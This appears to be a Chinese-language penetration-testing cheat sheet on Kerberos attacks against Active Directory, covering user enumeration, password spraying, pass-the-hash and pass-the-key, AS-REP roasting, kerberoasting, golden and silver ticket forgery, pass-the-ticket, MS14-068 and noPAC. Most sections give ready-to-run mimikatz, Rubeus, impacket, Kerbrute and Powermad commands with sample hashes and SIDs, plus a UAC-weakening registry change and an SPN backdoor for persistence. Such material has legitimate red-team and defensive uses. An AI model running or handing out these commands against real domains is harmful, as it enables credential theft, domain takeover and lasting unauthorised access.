Kerberos Attacks - Kerberos攻击面

image-20250129140706755

攻击面

AS_REQ & AS_REP:PTK、PTH、用户名枚举、密码喷洒、AS-REPRoasting、黄金票据

TGS_REQ & TGS_REP:PTT、kerberosting、白银票据

S4U:非约束委派、约束委派、基于资源的约束委派

PAC:ms14068、noPAC

AS_REQ & AS_REP

有效域用户枚举

攻击原理:在AS-REQ阶段,请求包中的cname字段为用户名,根据返回包的状态不同判断该用户是否存在,有如下状态码,在域内域外皆可枚举

AS-REP 回复包状态 Kerberos 错误信息
用户存在 且启用 KDC_ERR_PREAUTH_REQUIRED (需要额外的预认证)
用户存在 但禁用 KDC_ERR_CLIENT_REVOKED NT Status: STATUS_ACCOUNT_DISABLED (用户状态不可用)
用户不存在 KDC_ERR_C_PRINCIPAL_UNKNOWN (找不到此用户)

tom存在且启用,返回 KDC_ERR_PREAUTH_REQUIRED

image-20250129154528257

不存在用户,返回 KDC_ERR_C_PRINCIPAL_UNKNOWN

image-20250129154912842

工具:

1. Kerbrute

kerbrute.exe userenum --dc 192.168.100.128 -d test.com usernames.txt -t 10 -o output.txt

2. pyKerbrute

#tcp 模式
python2 EnumADUser.py 10.211.55.4 xie.com user.txt tcp
#udp 模式
python2 EnumADUser.py 10.211.55.4 xie.com user.txt udp

tips:

Kerbrute枚举用户名是通过固定密码foobar,能否作为检测特征

func (k KerbruteSession) TestUsername(username string) (bool, error) {
// client here does NOT assume preauthentication (as opposed to the one in TestLogin)

cl := kclient.NewWithPassword(username, k.Realm, "foobar", k.Config, kclient.DisablePAFXFAST(true))

密码喷洒/爆破

攻击原理:在AS-REQ阶段根据认证返回包状态不同进行密码的喷洒和爆破

密码喷洒:固定密码,跑用户名。密码爆破:固定用户名,跑密码。

用户密码错误,返回 KRB5KDC_ERR_PREAUTH_FAILED

image-20250129154528257

用户密码正确返回正常的AS-REP包

image-20250129161643745

工具:

1. Kerbrute

喷洒
kerbrute.exe passwordspray --dc 10.211.55.4 -d xie.com user.txt P@ssw0rd

爆破
kerbrute.exe bruteuser --dc 10.211.55.4 -d xie.com pass.txt administrator

2. pyKerbrute

#针对明文进行喷洒,tcp 模式和 udp 模式
python2 ADPwdSpray.py 10.211.55.4 xie.com user.txt clearpassword P@ssw0rd tcp
python2 ADPwdSpray.py 10.211.55.4 xie.com user.txt clearpassword P@ssw0rd udp

#针对哈希进行喷洒,tcp 模式和 udp 模式
python2 ADPwdSpray.py 10.211.55.4 xie.com user.txt ntlmhash e19ccf75ee54e06b06a5907af13cef42 tcp
python2 ADPwdSpray.py 10.211.55.4 xie.com user.txt ntlmhash e19ccf75ee54e06b06a5907af13cef42 udp

PTH

攻击原理:NTLM 认证过程和 Kerberos 认证过程都支持使用用户密码的 NTLM Hash 来进行加密,当抓取到用户的hash后可以直接去进行认证而跳过密码认证。

在Windows Server2012 及其以后的机器,默认不会在内存中保存明文密码,需要PTH横向

由于UAC的限制,不同的账户类型PTH结果也会失败或成功:

账户描述 PTH结果
pubcli_user:本地普通用户 失败
test:本地管理员组用户 失败
Administrator:本地管理员组用户 成功
xie\hack:域用户 && 本地管理员组用户 成功

内置管理员账户 Administrator 进行远程连接时会直接得到具有管理员凭证的令牌,而 非Administrator 的本地管理员账户 进行远程连接时,会得到一个删除了管理员凭证的令牌。而 本地管理员组中的域用户 进行远程连接时,UAC 不会生效,会直接得到一个具有管理员凭证的令牌。

工具:

1. CrackMapExec

crackmapexec smb 10.211.55.0/24 -u Administrator -H 329153f560eb329c0e1deea55e88a1e9 -x whoami

2. mimikatz

privilege::debug
sekurlsa::pth /user:administrator /domain:10.211.55.7 /ntlm:329153f560eb329c0e1deea55e88a1e9

3. impacket

psexec、smbexec、wmiexec、atexec、dcomexec等exec脚本

python3 psexec.py [email protected] -hashes :329153f560eb329c0e1deea55e88a1e9

4. evil-winrm

evil-winrm -i 192.168.1.10 -u Administrator -H <NTLM_HASH>

tips:

非Administrator 的本地管理员账户 进行远程连接时也得到一个具有管理员凭证的令牌,使其PTH成功

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

PTK

在kerberos的AS-REQ阶段,预认证要求用户提供 从用户密码派生的密钥,Kerberos 提供 4 种不同的密钥类型:DES、RC4、AES-128 和 AES-256

攻击原理:当启用RC4时,RC4 密钥实际上是用户的 NT 哈希,这种攻击方式叫PTH。当RC4被禁用时,其他 Kerberos 密钥(DES、AES-128、AES-256)也可以传递,这种攻击技术称为PTK。二者仅仅是传递的密钥不同。由于其他密钥如AES256是在kerberos协议中,因此 PTK的利用环境为:开启了aes认证的域环境中

微软发布了针对 Pass The Hash 哈希传递攻击的更新补丁 KB2871997,引入了一些安全机制

  • Protected Users 组的支持
  • Restricted Admin RDP 模式远程客户端支持
  • Pass The Hash 增强保护

工具:

1. mimikatz

当拿下一台域内主机时,dump下aeskey,然后通过该凭证去尝试登录其他机器

mimikatz.exe "privilege::debug" "log" "sekurlsa::ekeys" "exit"

导入aes key

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:tom /domain:test.com /aes256:0b387bfe557dbd745c08721d3fc5440c9e63a97f7c4fd9eb1085ee3e472af12c"

AS-REPRoasting

攻击原理:域内某些账号设置了 不要求 kerberos 预身份验证,因此不需要AS-REQ的预身份验证,直接向域控的 88 Kerberos 端口去请求票据,这时AS-REP就会返回 TGT、用户hash加密的session key,对内容重新组合能够拼接成 Kerberos 5 AS-REP etype 23(18200) 的格式,针对被加密的session key进行本地离线破解,从而爆破出用户密码


域内机器利用思路:直接ldap查询出域内不需要身份认证的用户

通过adfind或者adexplorer查询域内信息满足 (userAccountControl:1.2.840.113556.1.4.803:=4194304) 的用户

adfind查询

adfind -h 192.168.100.128:389 -u test.com\tom -up Ab123456 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn

adexplorer中,由于userAccountControl的值为叠加查询属性值大于或等于4194304的用户

adexplorer64.exe -snapshot "" test.dat

image-20250204163504951

非域内机器利用思路:如果有域内账号凭证,利用凭证查询出不需要身份认证的用户;如果没有域内账号凭证,利用大量用户名字典先去有效用户枚举,再去探测不需要身份认证的用户

工具:

1. Rubeus

Rubeus.exe asreproast /format:john /outfile:hashs.txt

2. impacket

GetNPUsers.py用于尝试获得并列出不需要Kerberos域认证的用户

# 域外机器无凭证盲爆用户
python GetNPUsers.py -usersfile users.txt -outputfile hashs.txt -dc-ip 192.168.100.128 -format hashcat

# 域外机器有凭证
python GetNPUsers.py -outputfile hashs.txt -dc-ip 192.168.100.128 -format hashcat test/tom:Ab123456
python GetNPUsers.py -outputfile hashs.txt -dc-ip 192.168.100.128 -format hashcat -request test/tom:Ab123456

image-20250204171557999

本地爆破:

john --wordlist=pass.txt hashs.txt
hashcat -m 18200 hashs.txt pass.txt --force --show

黄金票据

攻击原理:在AS-REP阶段,返回的TGT加密部分是由krbtgt用户的密钥加密的,如果获得了krbtgt的密钥,就可以伪造签发TGT票据,再去发起TGS请求,从而访问任意服务,该票据被称为黄金票据(GoldenTicket)


黄金票据特点:

  • 域控中KDC服务在20分钟内不验证TGT中的用户帐户,这意味在这时间内可以使用 被禁用、被删除、不存在 的帐户(KB5008380后域用户必须存在!)

  • 域控上由KDC服务配置的Kerberos策略:如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10 年,那么也会信任票据的有效性期为10年

  • 该KRBTGT帐户密码从不更改和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在

  • 它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证

  • 金票可用于模拟任何用户访问Active Directory中的任何资源

  • 在主机上都可以生成和使用黄金票据(TGT),即使没有加入域,只要网络可以访问域

制作金票条件:

  • 域名称
  • 域的SID值
  • 域用户 krbtgt 的 NTLM Hash 或 AES-256 或 AES-128
  • 伪造的任意用户名

攻击步骤:

一、获取所需条件信息

域名:test.com
域SID:S-1-5-21-3222783777-1006235836-3661351843
krbtgt:mimikatz.exe log "lsadump::dcsync /domain:test.com /user:krbtgt" exit
# Hash NTLM: 2cab196e52f4b152337ab1e4d3242923
# aes256_hmac: 2f526bb9eea0dc4a19f0023a8f91921ee822429873c8203865f3d3237c49a8b1
伪造的任意用户名:Administrator

二、工具

1. Mimikatz

# 列出当前票据
kerberos::list
# 清空票据
kerberos::purge
# 直接注入伪造
kerberos::golden /user:hacker /domain:test.com /sid:S-1-5-21-... /rc4:2cab196e5... /ptt
or
kerberos::golden /user:hacker /domain:test.com /sid:S-1-5-21-... /aes256:2f526bb9eea... /ptt
or
kerberos::golden /admin:hacker /domain:test.com /sid:S-1-5-21-... /krbtgt:2cab196e5... /ptt
or
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-... /krbtgt:2cab196e5... /ptt

# 验证金票
dir \\DC-1\C$

image-20250213025748716

image-20250213030129685

/domain - 完整的域名,在这个例子中:test.com
/sid - 域的SID,在这个例子中:S-1-5-21-1473643419-774954089-2222329127
/sids - AD森林中账户/组的额外SID,凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的S-1-5-21-1473643419-774954089-5872329127-519值
/user - 伪造的用户名
/groups(可选)- 用户所属的组RID(第一组是主组),添加用户或计算机帐户RID以接收相同的访问权限,默认组:513,512,520,518,519为默认的管理员组
/krbtgt - 域KRBTGT的NTLM
/ticket(可选)- 提供一个路径和名称,用于保存Golden Ticket文件
/ptt - 将伪造的票据插入到内存中以供使用
/id(可选)- 用户RID, Mimikatz默认值是500
/startoffset(可选)- 票据可用时的起始偏移量,Mimikatz默认值是0
/endin(可选)- 票据使用时间范围。Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为10小时
/renewmax(可选)- 续订最长票据有效期。Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为7天
/aes128 - AES128密钥
/aes256 - AES256密钥

2. Rubeus

Rubeus.exe dump /nowrap /service:krbtgt > ticket.kirbi
Rubeus.exe golden /krbtgt:<KRBTGT_HASH> /domain:test.com /sid:<DOMAIN_SID> /user:Administrator /nowrap

3. Impacket

# Find the domain SID
lookupsid.py -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0

# Create the golden ticket with ntlm
ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" "randomuser"

# Create the golden ticket with aeskey
ticketer.py -aesKey "$krbtgtAESkey" -domain-sid "$domainSID" -domain "$DOMAIN" "randomuser"

# Create the golden ticket with custom user/groups ids
ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" -user-id "$USERID" -groups "$GROUPID1,$GROUPID2,..." "randomuser"

# linux下导入票据到内存
export KRB5CCNAME=administrator.ccache

# PTT横向
python3 secretsdump.py dc1.test.com -k -no-pass

user-id 和 groups-ids 是为了应对某些特殊情况:默认情况下,impacket和mimikatz伪造的票证包含 PAC,表明用户属于某些知名管理员组(即组 ID 513、512、520、518、519),在某些情况下,这些组是不够的(即使是域管理员也没有本地管理员权限的特殊机器)

4. Metasploit

post/windows/escalate/golden_ticket
auxiliary/admin/kerberos/forge_ticket

TGS_REQ & TGS_REP

kerberoasting

攻击原理:在TGS_REQ中的sname是要请求的服务SPN,如果发送的TGT正确,在TGS_REP阶段 返回由SPN服务对应账号hash加密的ST,此时可以导出该ST进行本地破解逆推出SPN服务对应的账户hash


SPN(ServicePrincipal Names - 服务主体名称)是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN,存在于账号的属性中

SPN分为两种:

  • 注册在 AD上机器帐户(Computers) :当一个服务的权限为 Local SystemNetwork Service
  • 注册在 域用户帐户(Users) :当一个服务的权限为一个域用户

域内主要账号类型:

  • 用户账户(User Accounts)

    • 用途:供个人用户登录域、访问资源
    • 示例:zhangsan@domain.com、Administrator
    • 特点:
      • 密码由用户设置或管理员分配,可能绑定邮箱、权限组等
      • 可手动关联SPN(此时称为 服务用户账户
  • 计算机账户(Computer Accounts)

    • 用途:代表 加入域的计算机或服务器,用于身份验证和资源访问

    • 示例:DC01$、SQLSERVER$(以$结尾)

    • 特点:

      • 密码由系统自动管理(定期更新),安全性较高
      • 自动注册SPN(如 HOST/DC01.domain.com、MSSQLSvc/sqlserver.domain.com:1433、TERMSRV/rdp-server.domain.com)
  • 服务账户(Service Accounts)

    • 技术本质:并非独立账号类型,而是用户账户或计算机账户的一种用途。

    • 分类:

      • 普通用户账户:手动配置为服务运行身份(如svc_sql),需关联SPN,密码人工维护(易成Kerberoasting攻击目标)
      • 组托管服务账户(gMSA):专用服务账户类型,密码由AD自动管理(Windows Server 2012+),安全性更高
      • 计算机账户:服务以SYSTEM或Network Service运行时,隐式使用计算机账户身份

攻击步骤:

一、收集域内高价值SPN:1. 注册在域用户帐户(Users)下。2. 该域用户账户的权限高

二、请求指定TGS

三、导出TGS

四、本地破解

本地测试为域用户Bob添加一个SPN属性

image-20250216000120178

工具:

1. impacket

GetUserSPNs可以实现自动化查询、请求TGS

# 只查询SPN
python GetUserSPNs.py test.com/tom:Ab123456 -dc-ip 192.168.100.128
# 导出指定用户TGS
python GetUserSPNs.py test.com/tom:Ab123456 -dc-ip 192.168.100.128 -request-user Bob
# 导出所有用户TGS
python GetUserSPNs.py test.com/tom:Ab123456 -dc-ip 192.168.100.128 -request

image-20250216001108155

2. Rubeus

Rubeus.exe kerberoast /nowrap /format:hashcat

如果在未禁用RC4情况下启用了AES加密,即msDS-SupportedEncryptionTypes属性被设置了AES,当kerberoast时,返回的票据为AES加密,这时添加 /tgtdeleg 参数可以实现加密类型的降级,强迫返回票据使用RC4进行加密

Rubeus.exe kerberoast /tgtdeleg /nowrap /format:hashcat

John、hashcat

本地破解

hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

后门利用

在取得了SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令,例如为域用户Administrator添加SPNVNC/DC1.test.com:

setspn.exe -U -A SPNVNC/DC1.test.com Administrator

白银票据

攻击原理:在TGS_REP阶段返回使用服务账户hash加密的TGS票据,如果有了服务账户的hash,可以直接伪造TGS票据从而直接访问该指定的服务,用作一种权限维持手法,注意的是银票只能访问特定的服务


白银票据特点:

  • 黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务
  • 大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC
  • 任何事件日志都在目标服务器上

制作银票条件:

  • 域名称
  • 域的SID值
  • 域中的Server服务器账户的 NTLM Hash 或 AES-256 或 AES-128
  • 伪造的任意用户名
  • 目标服务器上面的kerberos服务名

常见的服务:

服务名称                    同时需要的服务
WMI HOST、RPCSS
PowerShell Remoting HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
Windows File Share CIFS
LDAP DCSync LDAP
Windows Remote Server RPCSS、LDAP、CIFS

攻击步骤:

一、获取所需条件信息

域名:test.com
域SID:S-1-5-21-3222783777-1006235836-3661351843
服务器账户:域控的机器账户:DC-1$
hash:43659c20b609efca43cecfe5e04fea8b
伪造的任意用户名:Administrator
服务名:CIFS

二、工具

1. Mimikatz

CIFS服务为远程文件服务

kerberos::golden /domain:test.com /sid:S-1-5-21-3222783777-1006235836-3661351843 /target:DC-1.test.com /service:cifs /rc4:43659c20b609efca43cecfe5e04fea8b /user:silver /ptt

image-20250217075544211

LDAP服务可远程dcsync

kerberos::golden /user:t /domain:test.com /sid:S-1-5-21-3222783777-1006235836-3661351843 /target:DC-1.test.com /service:ldap /rc4:43659c20b609efca43cecfe5e04fea8b /user:DCsync /ptt
lsadump::dcsync /dc:DC-1 /domain:test.com /user:krbtgt

image-20250217081303883

2. Rubeus

rubeus.exe silver /service:MSSQLSvc/MSSQL.test.com /rc4:43659c20b609efca43cecfe5e04fea8b /sid:S-1-5-21-3222783777-1006235836-3661351843 /user:mssql /domain:test.com /ptt

金/银票对比

特性 黄金票据 白银票据
作用对象 伪造TGT(Ticket Granting Ticket) 伪造特定服务的ST(Service Ticket)
依赖凭据 KRBTGT账户的哈希 服务账户(如机器账户)的哈希
权限范围 可访问域内所有服务 仅能访问特定服务(如CIFS、LDAP等)
隐蔽性 需与KDC交互获取服务票据,可能触发日志 无需与KDC交互,更隐蔽
后门持久性 长期有效(直到KRBTGT密码重置) 有效期受服务账户密码(如机器账户30天重置)影响

PTT

攻击原理:在kerberos认证中,除了AS_ERQ外其余步骤都是利用票据进行身份验证,因此利用票据(TGT、TGS)的导出/导入/注入/横向移动都叫 PTT

工具:

1. mimikatz

klist			查看内存中票据
klist purge 清除票据

mimikatz:
kerberos::purge // 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list // 查看当前机器凭证
sekurlsa::tickets /export // 导出内存票据
kerberos::ptc $ticket.ccache // 将ccache票据注入到内存中
kerberos::ptt $ticket.kirbi // 将kirbi格式票据注入到内存中

getTGT.py test.com/administrator:Abc@123.. // 生成administrator的TGT票据

2. Rubeus

Rubeus.exe ptt /ticket:"base64 | file.kirbi"

UNIX <-> Windows的票据转换

# Windows -> UNIX
ticketConverter.py $ticket.kirbi $ticket.ccache

# UNIX -> Windows
ticketConverter.py $ticket.ccache $ticket.kirbi

PAC

MS14068

域内提权漏洞,允许远程经过身份验证的域用户通过票证中的伪造签名获取域管理员权限,影响 Windows Server 2003 ~ Windows Server 2012 R2。

大概原理:

  • 作为标准用户请求不带 PAC 的 Kerberos TGT 身份验证票证,DC 使用 TGT 回复(没有 PAC,通常包含组成员身份,这种情况很不寻常)
  • 生成一个伪造的 PAC,没有密钥,因此生成的 PAC 使用域用户的密码数据通过 MD5 算法而不是 HMAC_MD5 进行 “签名”
  • 将无 PAC 的 TGT 与伪造的 PAC 一起作为授权数据 (Authorization-Data) 作为 TGS 服务票证请求的一部分发送到 DC
  • DC 似乎对此感到困惑,因此它丢弃用户发送的没有 PAC 的 TGT,创建一个新的 TGT 并将伪造的 PAC 插入到自己的授权数据 (Authorization-Data) 中,然后将此 TGT 发送给用户
  • 此带有伪造 PAC 的 TGT 使用户能够成为易受攻击的 DC 上的域管理员

补丁号: KB3011780

systeminfo |findstr "KB3011780"

wmic qfe GET hotfixid |findstr "KB3011780"

工具:

1. impacket

goldenPac.py "$DOMAIN_FQDN"/"$USER":"$PASSWORD"@"$DC_HOST" -dc-ip "$DC_IP"
python goldenPac.py test.com/Bob:[email protected] -dc-ip 192.168.100.128 -debug

2. pykek

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068

kekeo.exe "exploit::ms14068 /domain:test.com /user:Bob /password:Ab123456 /ptt" "exit"

noPAC

域内提权漏洞:利用两个CVE漏洞组合在S4U的条件下会生成一个高权限PAC到ST中。

  • CVE-2021-42278,机器账户应该以$结尾,但AD没有对域内机器账户名做验证

  • CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后 通过S4U2self 申请TGS Ticket,然后DC进行在TGS_REP阶段加密TGS Ticket时,无法找到该账户利用机器账户hash加密,会在 sAMAccountName 结尾加入 $ 继续查询,此时寻找到了DC$机器账户,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

ms-ds-machineaccountquota(MAQ):允许用户在域中创建的计算机帐户数,默认为10

sAMAccountName:域名\用户名


攻击流程:

  • 创建一个机器账户

  • 清除机器账户的SPN(servicePrincipalName)属性。使用 impacket 或 powermad 是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以不用清除

  • 将机器账户的 sAMAccountName,更改为DC的机器账户名字,注意后缀不带$

  • 为机器账户请求TGT

  • 将创建的机器账户的 sAMAccountName 更改为其他名字

  • 通过 S4U2self 协议向DC请求ST

  • DCsync

检测工具:

noPac.exe scan -domain redteam.red -user saul -pass 'Red12345'
netexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
crackmapexec smb <ip> -u 'user' -p 'pass' -M nopac

利用工具:

1. Powermad

# test.com是域名 , DC-1是DC的机器名称
# nopac是新建的机器名 , 1qaz@WSX是新建的机器用户的密码
# Base64 TGT是Rubeus.exe获取的TGT结果

import-module .\Powermad.ps1

# 创建机器用户
$password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
New-MachineAccount -MachineAccount "nopac" -Password $($password) -Domain "test.com" -DomainController "DC-1.test.com" -Verbose

# 清除机器用户的SPN
Import-Module .\powerview.ps1
Set-DomainObject "CN=nopac,CN=Computers,DC=hacker,DC=lab" -Clear 'serviceprincipalname' -Verbose

# 将机器用户名修改为DC的用户名。注意不带$符号
Set-MachineAccountAttribute -MachineAccount "nopac" -Value "DC-1" -Attribute samaccountname -Verbose

# 查看机器用户名是否修改成功
Get-DomainObject "CN=nopac,CN=Computers,DC=hacker,DC=lab"

# 使用Rubeus用机器账号向DC请求TGT
Rubeus.exe asktgt /user:"DC-1" /password:"1qaz@WSX" /domain:"test.com" /dc:"DC-1.test.com" /nowrap

# 将机器用户名重置为原来的用户名
Set-MachineAccountAttribute -MachineAccount "nopac" -Value "nopac" -Attribute samaccountname -Verbose

# 使用请求的TGT通过S4U2self获取ST 注意,impersonateuser必须要存在才有效,如果域内administrator被禁用,换成其他域管
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/DC-1.test.com" /dc:"DC-1.test.com" /ptt /ticket:[Base64 TGT]

# 可选命令,查看获取的ST
klist

# 使用Mimikatz进行Dcsync
mimikatz.exe "lsadump::dcsync /domain:test.com /kdc:DC-1.test.com /user:krbtgt" "exit"

# 可选命令,清除所有的ST
klist purge

2. impacket

# 0. create a computer account
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

# 1. clear its SPNs
addspn.py --clear -t 'ControlledComputer$' -u 'domain\user' -p 'password' 'DomainController.domain.local'

# 2. rename the computer (computer -> DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

# 3. obtain a TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

# 4. reset the computer name
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

# 5. obtain a service ticket with S4U2self by presenting the previous TGT
KRB5CCNAME='DomainController.ccache'
getST.py -self -impersonate 'DomainAdmin' -altservice 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

# 6. DCSync by presenting the service ticket
KRB5CCNAME='DomainAdmin.ccache'
secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'

3. noPac.exe

https://github.com/TryA9ain/noPac

https://github.com/cube0x0/noPac

https://github.com/Ridter/noPac

https://github.com/safebuffer/sam-the-admin

# 使用指定的用户密码扫描域内是否存在能利用该漏洞的DC
noPac.exe scan -domain test.com -user "Bob" -pass "Ab123456"

# 使用一键化工具获得域控cifs的权限
noPac.exe -domain test.com -user "Bob" -pass "Ab123456" /dc DC-1.test.com /mAccount nopac1 /mPassword 1qaz@WSX /service cifs /ptt

# 使用一键化工具获得域控ldap服务的权限,同样此处的impersonate和手动利用方式一致,需要该用户可用
noPac.exe -domain test.com -user "Bob" -pass "Ab123456" /dc DC-1.test.com /mAccount nopac2 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

# 使用dcsync导出域内krbtgt密码
mimikatz.exe "lsadump::dcsync /domain:test.com /user:krbtgt /csv" "exit"

python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump

python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell

在MAQ = 0 时便不能创建计算机帐户的突破:

  • 拿到 将计算机拉入域中的帐户 的权限:将计算机拉入域中的帐户默认对该计算机帐户有 WriteProperty 权限, 计算机帐户中的 mS-DS-CreatorSID 这个属性的 SID 就是拉它入域的 用户 SID, 那么便可以去 查找域内存在 mS-DS-CreatorSID 的计算机帐户, 然后对应找到域用户帐户, 再拿到其域用户帐户权限 后便可修改对应的计算机帐户属性, 从而实现该漏洞的利用

  • 拿到具有 SeMachineAccountPrivilege 权限的帐户:有的企业会设置专门用来 加入域的组 (这个组中的这些帐户都能用来将计算机拉入域中) 或者 帐户, 这些帐户具有 SeMachineAccountPrivilege 权限 (“将工作站添加到域” 属性), 后续可以重点留意下这些帐户, 默认 Authenticater Users (身份验证的用户) 具备 SeMachineAccountPrivilege

具体利用参看:noPac MAQ = 0 的突破


原理分析文章:

解析CVE-2021-42278和CVE-2021-42287

从XP源码泄露看nopac漏洞

CVE-2021-42287/CVE-2021-42278分析复现

noPac 分析